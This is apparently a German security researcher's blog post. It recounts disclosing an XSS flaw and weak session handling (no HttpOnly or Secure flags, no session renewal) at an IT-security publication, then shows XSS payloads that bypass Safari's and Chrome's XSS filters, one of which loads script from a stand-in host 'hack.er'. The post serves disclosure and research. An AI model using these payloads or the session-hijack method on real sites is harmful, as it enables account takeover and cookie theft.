Vor ein paar Tagen habe ich mal wieder einen Hinweis zu einer XSS-Lücke verschickt. Mein Beispiel war die Injektion eines Bildes, mit einem JavaScript-Alert, also das übliche. Die Antwort kam sehr schnell:

Ich werde den Fehler natürlich umgehend an unser Technikteam in der *** Zentrale weiterleiten, aber ob und wann dort die Ressourcen zugeteilt werden um diesen Fehler zu beheben…

Den, den ich da angeschrieben habe, war nicht das Hotel um die Ecke oder ein Shop mit fünf Artikeln im System, es ist eine sehr bekannte Publikation die sich mit dem Thema IT-Sicherheit beschäftigt, also musste ich einfach noch einmal Antworten:

ich muss gestehen, Sie haben mich mit Ihrer Antwort verblüfft.

Bei einer Publikation die sich primär dem Thema IT-Sicherheit zuwendet, hatte ich nicht erwartet, dass es bei der Fehlerbehebung um das “ob” geht. :O)

Die Lücke ist nicht schwer zu finden, das heißt: Jedes Scriptkiddie kann sich als großer Hacker aufspielen, um an der Reputation von *** zu kratzen.

Der Cookie-Flag HttpOnly ist nicht gesetzt, weshalb der Session-Cookie per XSS ausgelesen werden kann. Die Session-ID ist nicht an die IP-Adresse des Benutzers gebunden. Das Fehlen dieser beiden Sicherungen, macht es einem Angreifer sehr leicht, per XSS in einen Benutzeraccount einzubrechen.

Das Session-Handling ist komplett fehlerhaft. Beim Übergang von http zu https wird die Session nicht gewechselt, was das Login per https (wegen der fehlenden IP-Bindung) ad absurdum führt. Es fehlt natürlich auch der Cookie-Flag Secure.

Die gleiche XSS-Lücke findet sich auch in den folgenden Seiten:
***.de
***.de
***.de
***.de
***.de

Am nächsten Tag war die XSS-Lücke dann schon gefixt, also hat jemand sehr schnell die “Ressourcen zugeteilt”. Aber die anderen Probleme bestehen weiterhin und es ist so gut wie sicher, dass es in der Seite irgendwo weitere XSS-Lücken gibt.

Das Login, wie es sein sollte per https:

Das Editieren im Benutzeraccount sollte aber auf gar keinen Fall unverschlüsselt erfolgen. Hier der Request bei der Änderung des Passwortes:

Das “Technikteam” weiß nicht so recht warum https verwendet wird. Sie haben wohl mal gehört dass man dieses komische SSL für Logins benutzen sollte, aber warum das gut sein soll? “Keine Ahnung, schadet ja nicht.” Anders ist es nicht zu erklären, warum es nur beim Login eine Verschlüsselung gibt.

Warum wird denn die Kommunikation zwischen Server und Client verschlüsselt?

Ohne Verschlüsselung sind Web-Daten für jeden, der Zugang zum entsprechenden Netz hat, als Klartext lesbar. Mit der zunehmenden Verbreitung von Funkverbindungen, die etwa an WLAN-Hotspots häufig unverschlüsselt ablaufen, nimmt die Bedeutung von HTTPS zu, da hiermit die Inhalte unabhängig vom Netz verschlüsselt werden.

Besser könnte ich es nicht in Worte fassen, deshalb als Zitat aus Wikipedia.
Quelle: http://de.wikipedia.org/wiki/Https

Die Cookie-Flags HttpOnly und Secure werden für den entscheidenden Session-Cookie nicht gesetzt:

Der gesetzte HttpOnly-Flag würde dafür sorgen, dass der Inhalt der Cookies nicht per JavaScript (XSS) ausgelesen werden kann. Liebes “Technikteam”, dies macht ein Angreifer natürlich NICHT per alert(document.cookie), sondern so, dass das Opfer dies nicht bemerkt.

Der gesetzte Secure-Flag würde dafür sorgen, dass Cookies nur per https übertragen werden. Auch ein Man-in-the-middle könnte die Cookies nicht im Klartext lesen, womit diese unbrauchbar wären.

Das was das “Technikteam” da gebastelt hat, ist so unsagbar schlecht, dass in der “Zentrale” sofort einige Stellen neu besetzt werden müssten.


Wie man nur mit einer Session-ID bewaffnet in ein Benutzerkonto einbricht zeigt dies kurze Video:

Das Formular nimmt die Session-ID auf, generiert eine URL inkl. Cross-Site Scripting, welche an die anfällige Website geschickt wird. Die Injektion setzt einfach den Cookie für die Session-ID und leitet dann zur Profilseite des Opfers weiter, sehr einfach, deshalb sieht man in dem Video auch nicht viel. :O)

Die XSS-Lücke in Bebo ist nicht neu, die Verantwortlichen kümmert’s nur nicht, wohl weil es Benutzer sind, die nicht direkt Geld bezahlen.
http://xssed.com/mirror/67289/

Date submitted: 17/06/2010
Date published: 18/06/2010

Update: 01.02.2012 – 18:13 Uhr

Der Session-Cookie hat einen HttpOnly-Flag spendiert bekommen:



Noch ein Link passend zum Thema XSS und HttpOnly:
“Apache httpOnly Cookie Disclosure” (fd.the-wildcat.de)


Update: 01.02.2012 – 22:00 Uhr

Wie ich schon erwartete, habe ich eine weitere XSS-Lücke gefunden, aber Dank des HttpOnly-Flags kann nun der Session-Cookie nicht ausgelesen werden.
(Weil es kein Apache ist.)

In dem Report meiner Checks schreibe ich dem Kunden immer dazu mit welchem Browser mein XSS-Exploit auszunutzen ist, damit er es nachvollziehen kann — es gibt nämlich nichts schlimmeres als einen Exploit der beim Programmierer nicht funktioniert, weil er den “falschen” Browser benutzt.

In den letzten Wochen musste ich aus der Liste der anfälligen Browser auch den Chrome entfernen, womit nur noch Firefox und Opera von mir als Testbrowser gemeldet wurden. Der Safari ist schon länger aus meiner Liste rausgeflogen, da ein XSS-Schutz dort seit langer Zeit implementiert ist. Injiziertes HTML kann man auch im Safari und Chrome rendern lassen, JavaScript hingegen nicht.

Ich bin ja eher skeptisch wenn ein Filter das eine blockiert und das anderer durchlässt, weshalb ich selber etwas Browser-Forschung betrieben habe, da der Chrome, im Gegensatz zum Safari, eine weite Verbreitung gefunden hat.


Erst letzte Woche wies ich in einem Kommentar darauf hin, dass auch der Safari einen Schutz gegen Cross-Site Scripting enthält, was auch zur Ergänzung des Artikels führte:
“Facebook: IE9 als einziger gegen XSS Angriffe gerüstet” (blogs.technet.com)

Und nun.. Sorry! Meine Forschung war erfolgreich, bzw. aus Sicht von Google und Apple eher unerfreulich. Nun muss der Artikel schon wieder geändert werden und der Internet Explorer ist noch immer ungeschlagen — was den Schutz gegen Cross-Site Scripting angeht. :O)


Injiziert man

• <script src=http://hack.er/s></script>
  oder wenn spitze Klammern nicht zulässig sind
• " onmouseover=alert(document.cookie) "

dann wird dies im Safari und im Chrome nicht ausgeführt.

Werden die Injektionen wie folgt abgeändert, wird der Filter von Safari und Chrome umgangen und der Schadcode wird ausgeführt:

• <script src=http://hack.er/s//&lt;</script>
• " onmouseover=alert(document.cookie)//"

Wieder ein Beispiel für: Blacklisting ist unsicher!

Der Internet Explorer ist wirklich recht sicher was XSS angeht, denn der Filter schmeißt alles raus was injiziert wird. Ob der IE auch mal etwas fälschlich als einen Angriff wertet, kann ich nicht sagen, da es für OS-X keinen Browser von Microsoft gibt und ich Windows nur für bestimmte Tests heranziehe, um zu sehen ob meine Funde auch unter anderen Betriebssystemen funktionieren.


Update: 28.05.2011 – 18:36 Uhr

Eine Leerzeile im Quellcode kann darüber entscheiden ob sich eine XSS-Lücke auftut oder nicht.